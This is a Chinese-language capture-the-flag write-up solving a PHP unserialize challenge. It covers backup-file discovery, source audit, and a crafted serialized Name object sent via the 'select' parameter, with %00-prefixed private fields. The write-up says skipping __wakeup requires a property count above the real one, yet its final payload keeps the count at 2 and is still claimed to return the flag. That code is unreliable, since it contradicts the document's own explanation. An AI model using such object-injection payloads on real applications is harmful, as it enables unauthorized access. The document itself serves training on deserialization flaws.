1. 程式人生 > 實用技巧 >BUUCTF-[極客大挑戰 2019]PHP 1

BUUCTF-[極客大挑戰 2019]PHP 1

開啟題目,我們就看到這個貓,先是用滑鼠晃了晃,還跟著我的游標搖腦袋。我是來做題的。前端工程師肯定也對這個下功夫了。

有一個良好的備份網站的習慣很好啊,我們首先根據題目的提示,用dirsearch掃目錄

如果沒有這個工具的可以去github上下載就可以了。

最終,我們掃到這個備份檔案

www.zip這個備份檔案

於是,我們直接回到網頁,然後拼接www.zip於是我們就下載了原始碼,解壓之後,我們看到了這些

開啟flag.php以為得到flag結果是個假的。

於是我們開啟index.php

發現一段php程式碼,包含class.php檔案,然後get方式傳入一個select引數,並且將結果反序列化

然後,我們再開啟class.php檔案,然後又發現了一段程式碼,審計一下

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

  根據程式碼的意思,我們可以發現如果username=admin password=100然後我們再執行__destruct()時可以獲得flag

於是構造反序列化

<?php

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>

  儲存,然後獲得序列化後的字串:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

於是我們將引數值給select,這時候問題來了,在反序列化的時候會首先執行__wakeup()魔術方法,但是這個方法會把我們

的username重新賦值,所以我們要考慮的就是怎麼跳過__wakeup(),而去執行__destruct

在反序列化時,當前屬性個數大於實際屬性個數時,就會跳過__wakeup(),去執行__destruct

於是我們這樣構造pyload:

?select=O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

然後我們又意識到,這個變數時private

private 宣告的欄位為私有欄位,只在所宣告的類中可見,在該類的子類和該類的物件例項中均不可見。因此私有欄位的字

段名在序列化時,類名和欄位名前面都會加上\0的字首。字串長度也包括所加字首的長度

於是我們在構造一回pyload:

?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

出來flag:flag{32beb1fb-5e2e-4cd5-87c8-a0e75f291395}